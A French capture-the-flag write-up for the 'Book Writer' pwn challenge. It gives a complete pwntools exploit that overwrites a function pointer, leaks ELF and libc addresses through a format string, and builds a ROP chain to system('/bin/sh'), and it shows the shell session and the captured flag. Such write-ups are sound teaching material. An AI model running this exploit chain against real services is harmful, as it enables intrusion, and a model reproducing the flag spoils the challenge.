Solution de mandragore pour Book Writer

pwn x86/x64

19 janvier 2025

Prérequis : avoir lu l’explication pour book-writer-easy.

Ici le twist c’est que l’on ne peut plus utiliser la fonction win(). Il va donc falloir chercher ailleurs le code à utiliser. On nous fournit sa libc, nous allons donc en profiter.

Les étapes sont les suivantes :

Quelques remarques… C’est impossible d’écraser *content dans la structure du deuxième livre, c’est bien dommage on aurait pu lire directement la .got pour trouver la base de libc. C’était plus intéressant d’écraser *write_page que *read_page car avant de l’appeler le programme place des données utilisateur sur la pile (“input”), ce qui sera utile pour le ROP. La distance adresse du retour dans libc - base libc est dépendante de la version de libc bien sûr.

Il y avait surement plus simple, et parfois (rarement) l’exploit rate si un offset contient \x0a.

#!/usr/bin/env python3

from pwn import *

#context.log_level = 'DEBUG'
context.arch='amd64'

debug=False
local=False

binbw=ELF('./book-writer',checksec=False)

if local:
    p=process('./book-writer')
    if debug:
     rdbg = gdb.attach(p,gdbscript='''
     # *main+0x036c  = library[n]->read_page()
     # *main+0x0325  = library[n]->write_page()
   # break *main+0x036c
     break *main+0x0325
        c
     ''')
    libc=ELF('./libc.so.6.local',checksec=False)
    delta_startmain_retaddr=0x29dc0-0x29d90  # __libc_start_main - __libc_start_call_main+0x80
else:
    p=remote('127.0.0.1',4000)
    libc=ELF('./libc-2.36.so',checksec=False)
    delta_startmain_retaddr=0x27280-0x2724a  # __libc_start_main - __libc_start_call_main+0x7c
# book 1

p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f1')
p.sendlineafter(b'pages',str(0x1000000000000000).encode())  # we want the heap

# book 2

p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f2')
p.sendlineafter(b'pages',b'1')

# back to book 1

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')

# get the first leak

p.sendlineafter(b'Quitter\n',b'4')
buff=p.recvline()
#print(enhex(buff))
ptr_read=unpack(buff[33:41])
print('livre 2, ptr read()  : '+hex(ptr_read))
binbw.address=ptr_read-binbw.sym['read_page']
print('elf base address     : '+hex(binbw.address))

# overwrite book2's *write_page() with printf

p.sendlineafter(b'Quitter',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+b'%21$lx__'+p64(binbw.sym['printf']))

# writing to book2, calling printf(struct Book *bk='%21$lx__'..)

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(b'who cares')

# get 2nd leak

buff=p.recvline()
off=b'\x00\x00'+unhex(buff[0:12]) # ret addr from libc_start_call_main
ret_startmain=unpack(off,endianness='big')
print('libc return address  : '+hex(ret_startmain))
libc.address=ret_startmain-libc.sym['__libc_start_main']+delta_startmain_retaddr
print('libc base address    : '+hex(libc.address))

rop=ROP([binbw,libc])

# overwrite book2's write_page() with stack cleaning + start roping

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+cyclic(8)+p64(rop.search(48).address)) # shift rsp to ROP then ret

# call book2's write_page, jumping to the rop chain

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')
p.sendlineafter(b'Quitter\n',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
rop.call('system',[next(libc.search(b'/bin/sh\x00'))\])
p.sendline(rop.chain()) # max 64 bytes

p.sendline(b'uname -a')
p.interactive()
$ bookwriter ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
livre 2, ptr read()  : 0x562f8d4b31e9
elf base address     : 0x562f8d4b2000
libc return address  : 0x7f0fa28a724a
libc base address    : 0x7f0fa2880000
[*] Loaded 5 cached gadgets for './book-writer'
[*] Loaded 196 cached gadgets for './libc-2.36.so'
[*] Switching to interactive mode
Linux 6f7f4d25d123 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64 GNU/Linux
$ cat flag.txt
FCSC{9c0a809cde815acae51618726aa7632af6e4ac9b000653ef8a607cb837995162}